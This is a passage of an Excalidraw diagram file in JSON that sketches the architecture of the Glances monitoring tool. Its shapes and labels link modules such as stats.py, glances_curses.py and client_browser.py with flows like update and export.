\"originalText\": \"client.py\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 890,\n      \"versionNonce\": 322555785,\n      \"isDeleted\": false,\n      \"id\": \"P1bp9Rfq5SwS130g34yi7\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 235.5,\n      \"y\": 844,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 251,\n      \"height\": 34.5,\n      \"seed\": 485157865,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"cYs-xqat3zotKrKiW0d8F\"\n        }\n      ],\n      \"updated\": 1675590397123,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 855,\n      \"versionNonce\": 833849735,\n      \"isDeleted\": false,\n      \"id\": \"cYs-xqat3zotKrKiW0d8F\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 278,\n      \"y\": 849,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 166,\n      \"height\": 24,\n      \"seed\": 746119975,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397123,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"client_browser.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"P1bp9Rfq5SwS130g34yi7\",\n      \"originalText\": \"client_browser.py\"\n    },\n    {\n      \"id\": \"rQhOqJTXTXy1a48aIPtoK\",\n      \"type\": \"line\",\n      \"x\": 504,\n      \"y\": 682,\n      \"width\": 1,\n      \"height\": 197,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1950842537,\n      \"version\": 308,\n      \"versionNonce\": 474543721,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590397123,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -1,\n          197\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"id\": \"sYMUNY_UMw9YOE9QnlXCK\",\n      \"type\": \"line\",\n      \"x\": 643,\n      \"y\": 783,\n      \"width\": 137,\n      \"height\": 0,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1527629801,\n      \"version\": 371,\n      \"versionNonce\": 1639366823,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590397124,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -137,\n          0\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 290,\n      \"versionNonce\": 1250967881,\n      \"isDeleted\": false,\n      \"id\": \"hxakD1P7MVGXZlrSZ4IDZ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 574.5,\n      \"y\": 756,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 13,\n      \"height\": 26,\n      \"seed\": 987379943,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397124,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"=\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"=\"\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 309,\n      \"versionNonce\": 377885639,\n      \"isDeleted\": false,\n      \"id\": \"eYH-l8FqVPjaI-zP9pfMb\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 548,\n      \"y\": 791,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 80,\n      \"height\": 26,\n      \"seed\": 1676833191,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397124,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"one of...\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"one of...\"\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 335,\n      \"versionNonce\": 191574057,\n      \"isDeleted\": false,\n      \"id\": \"mDcIG5yl_8fiGlk6dlATR\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 914,\n      \"y\": 740,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 140,\n      \"height\": 26,\n      \"seed\": 933322633,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590397124,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"serve_forever\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"serve_forever\"\n    },\n    {\n      \"type\": \"line\",\n      \"version\": 703,\n      \"versionNonce\": 1359234343,\n      \"isDeleted\": false,\n      \"id\": \"Ubb64XWlshf6YUbdArM9v\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1600.5,\n      \"y\": 785,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 778,\n      \"height\": 3,\n      \"seed\": 1141088295,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590439635,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -778,\n          -3\n        ]\n      ]\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 693,\n      \"versionNonce\": 1729329735,\n      \"isDeleted\": false,\n      \"id\": \"E0Uoo4aOU-71gi3MKCZ2Y\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1176.5,\n      \"y\": 160.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 181,\n      \"height\": 121,\n      \"seed\": 713789705,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"ui39Vh4hwmgLPRZz4n_UZ\"\n        }\n      ],\n      \"updated\": 1675589927345,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 644,\n      \"versionNonce\": 1638756777,\n      \"isDeleted\": false,\n      \"id\": \"ui39Vh4hwmgLPRZz4n_UZ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1225.5,\n      \"y\": 208.75,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 83,\n      \"height\": 24,\n      \"seed\": 1115201543,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675589927345,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"stats.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"E0Uoo4aOU-71gi3MKCZ2Y\",\n      \"originalText\": \"stats.py\"\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 1049,\n      \"versionNonce\": 1678958759,\n      \"isDeleted\": false,\n      \"id\": \"-Pstud5nkYt1YM31u2x_X\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1172.5,\n      \"y\": 301.5,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 921077737,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"_Sg0_xkkkxDFDg2nCEEbZ\"\n        }\n      ],\n      \"updated\": 1675590333864,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 1013,\n      \"versionNonce\": 1132863817,\n      \"isDeleted\": false,\n      \"id\": \"_Sg0_xkkkxDFDg2nCEEbZ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1191.5,\n      \"y\": 378.75,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 151,\n      \"height\": 24,\n      \"seed\": 1989478183,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590333864,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"GlancesStats()\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"-Pstud5nkYt1YM31u2x_X\",\n      \"originalText\": \"GlancesStats()\"\n    },\n    {\n      \"type\": \"line\",\n      \"version\": 468,\n      \"versionNonce\": 965934473,\n      \"isDeleted\": false,\n      \"id\": \"NqgLCJSHOwjxpOyVPlWws\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1268,\n      \"y\": 307,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 0,\n      \"height\": 26,\n      \"seed\": 780116681,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590338064,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0,\n          -26\n        ]\n      ]\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 859,\n      \"versionNonce\": 716072489,\n      \"isDeleted\": false,\n      \"id\": \"cDntBigSar4I0WkyhIBAZ\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1172.5,\n      \"y\": 502.5,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 13687943,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"AEXGY1IDMBeCvoLaKio__\"\n        },\n        {\n          \"id\": \"NpkkDItD4vnSSVIkyLR5R\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"Lm88UtXv6wAHHUhkhFctw\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 807,\n      \"versionNonce\": 766048263,\n      \"isDeleted\": false,\n      \"id\": \"AEXGY1IDMBeCvoLaKio__\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1216.5,\n      \"y\": 579.75,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 101,\n      \"height\": 24,\n      \"seed\": 1453216617,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"self.stats\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"cDntBigSar4I0WkyhIBAZ\",\n      \"originalText\": \"self.stats\"\n    },\n    {\n      \"id\": \"futrrb24VLy0LwGgivfSn\",\n      \"type\": \"line\",\n      \"x\": 1269,\n      \"y\": 475,\n      \"width\": 1,\n      \"height\": 31,\n      \"angle\": 0,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1916753063,\n      \"version\": 191,\n      \"versionNonce\": 1514098121,\n      \"isDeleted\": false,\n      \"boundElements\": null,\n      \"updated\": 1675590368062,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          -1,\n          31\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 299,\n      \"versionNonce\": 113418695,\n      \"isDeleted\": false,\n      \"id\": \"7_yYXmz-cljpM3XmXnwFz\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1276.5,\n      \"y\": 475,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 13,\n      \"height\": 26,\n      \"seed\": 171440295,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590363270,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"=\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"=\"\n    },\n    {\n      \"type\": \"rectangle\",\n      \"version\": 854,\n      \"versionNonce\": 1282611241,\n      \"isDeleted\": false,\n      \"id\": \"zxj5BuGRA6gmOMpuytKOs\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1376,\n      \"y\": 159.5,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 208,\n      \"height\": 121,\n      \"seed\": 176909769,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"9o5H_Z0ZXJgjf4VhEnGzw\"\n        }\n      ],\n      \"updated\": 1675590082537,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 823,\n      \"versionNonce\": 973642471,\n      \"isDeleted\": false,\n      \"id\": \"9o5H_Z0ZXJgjf4VhEnGzw\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1392.5,\n      \"y\": 208,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 175,\n      \"height\": 24,\n      \"seed\": 1216474951,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590082538,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"glances_curses.py\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"zxj5BuGRA6gmOMpuytKOs\",\n      \"originalText\": \"glances_curses.py\"\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 1194,\n      \"versionNonce\": 945697735,\n      \"isDeleted\": false,\n      \"id\": \"_VvreiuDNX6NcogCsHFMV\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1387,\n      \"y\": 300.5,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 1816972457,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"RQnWQ-OtQLeiQKaWp6Fgp\"\n        }\n      ],\n      \"updated\": 1675590333865,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 1163,\n      \"versionNonce\": 715460649,\n      \"isDeleted\": false,\n      \"id\": \"RQnWQ-OtQLeiQKaWp6Fgp\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1410.5,\n      \"y\": 365.5,\n      \"strokeColor\": \"#0b7285\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 142,\n      \"height\": 48,\n      \"seed\": 1697803879,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590333865,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"GlancesCurses\\nStandalone()\",\n      \"baseline\": 41,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"_VvreiuDNX6NcogCsHFMV\",\n      \"originalText\": \"GlancesCurses\\nStandalone()\"\n    },\n    {\n      \"type\": \"line\",\n      \"version\": 625,\n      \"versionNonce\": 1091550985,\n      \"isDeleted\": false,\n      \"id\": \"fBPzn8itK0-ofbaaQP3QN\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1481.5,\n      \"y\": 309,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 0,\n      \"height\": 29,\n      \"seed\": 272584585,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590342444,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0,\n          -29\n        ]\n      ]\n    },\n    {\n      \"type\": \"diamond\",\n      \"version\": 1000,\n      \"versionNonce\": 817613513,\n      \"isDeleted\": false,\n      \"id\": \"nHjJ_PGbRP1C54xcsONnl\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1388,\n      \"y\": 500.5,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 189,\n      \"height\": 179,\n      \"seed\": 298191239,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": [\n        {\n          \"type\": \"text\",\n          \"id\": \"4q18wE4O-McviQYBPBssm\"\n        }\n      ],\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 958,\n      \"versionNonce\": 567403079,\n      \"isDeleted\": false,\n      \"id\": \"4q18wE4O-McviQYBPBssm\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1430.5,\n      \"y\": 577.75,\n      \"strokeColor\": \"#c92a2a\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 104,\n      \"height\": 24,\n      \"seed\": 1553888873,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"self.screen\",\n      \"baseline\": 17,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"middle\",\n      \"containerId\": \"nHjJ_PGbRP1C54xcsONnl\",\n      \"originalText\": \"self.screen\"\n    },\n    {\n      \"type\": \"line\",\n      \"version\": 341,\n      \"versionNonce\": 396097287,\n      \"isDeleted\": false,\n      \"id\": \"K2am61VoMQBdemjmaY1_X\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1482.5,\n      \"y\": 475,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 0,\n      \"height\": 30,\n      \"seed\": 460931239,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590372353,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": null,\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": null,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0,\n          30\n        ]\n      ]\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 442,\n      \"versionNonce\": 898007593,\n      \"isDeleted\": false,\n      \"id\": \"o-2dvVa3qGN-ZtEGLbbxq\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1491,\n      \"y\": 474,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 13,\n      \"height\": 26,\n      \"seed\": 1681244489,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590363270,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"=\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"=\"\n    },\n    {\n      \"type\": \"arrow\",\n      \"version\": 771,\n      \"versionNonce\": 1605823785,\n      \"isDeleted\": false,\n      \"id\": \"NpkkDItD4vnSSVIkyLR5R\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1227.536826021261,\n      \"y\": 647.4036780704577,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 2.2278702768758194,\n      \"height\": 132.47821261660965,\n      \"seed\": 2085136617,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590352992,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": {\n        \"elementId\": \"cDntBigSar4I0WkyhIBAZ\",\n        \"focus\": 0.4274591641778541,\n        \"gap\": 2.3806234060035365\n      },\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          2.2278702768758194,\n          132.47821261660965\n        ]\n      ]\n    },\n    {\n      \"type\": \"arrow\",\n      \"version\": 818,\n      \"versionNonce\": 1297651175,\n      \"isDeleted\": false,\n      \"id\": \"Lm88UtXv6wAHHUhkhFctw\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1310.527371847451,\n      \"y\": 646.8414945083808,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 2.2373244506859464,\n      \"height\": 133.04039617868648,\n      \"seed\": 987698825,\n      \"groupIds\": [],\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"boundElements\": null,\n      \"updated\": 1675590352992,\n      \"link\": null,\n      \"locked\": false,\n      \"startBinding\": {\n        \"elementId\": \"cDntBigSar4I0WkyhIBAZ\",\n        \"focus\": -0.45084771412902047,\n        \"gap\": 4.767145239963185\n      },\n      \"endBinding\": null,\n      \"lastCommittedPoint\": null,\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          2.2373244506859464,\n          133.04039617868648\n        ]\n      ]\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 361,\n      \"versionNonce\": 1517286249,\n      \"isDeleted\": false,\n      \"id\": \"3d-5XlfL-DXIG63Prnbrl\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1145.5,\n      \"y\": 696,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 69,\n      \"height\": 26,\n      \"seed\": 1263546985,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"update\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"update\"\n    },\n    {\n      \"type\": \"text\",\n      \"version\": 398,\n      \"versionNonce\": 994710439,\n      \"isDeleted\": false,\n      \"id\": \"uNMRAmQ5fFPZz6Cn-WskG\",\n      \"fillStyle\": \"hachure\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 0,\n      \"opacity\": 100,\n      \"angle\": 0,\n      \"x\": 1325,\n      \"y\": 696,\n      \"strokeColor\": \"#000000\",\n      \"backgroundColor\": \"transparent\",\n      \"width\": 64,\n      \"height\": 26,\n      \"seed\": 208532489,\n      \"groupIds\": [],\n      \"roundness\": null,\n      \"boundElements\": null,\n      \"updated\": 1675590352966,\n      \"link\": null,\n      \"locked\": false,\n      \"fontSize\": 20,\n      \"fontFamily\": 1,\n      \"text\": \"export\",\n      \"baseline\": 18,\n      \"textAlign\": \"center\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"export\"\n    },\n    {\n      \"type\": \"arrow\",\n      \"version\": 800,\n      \"versionNonce\": 80715337,\n      \"isDeleted\": false,\n      \"id\": \"GgJ0Au16dwqt1oMD4qRft\",\n      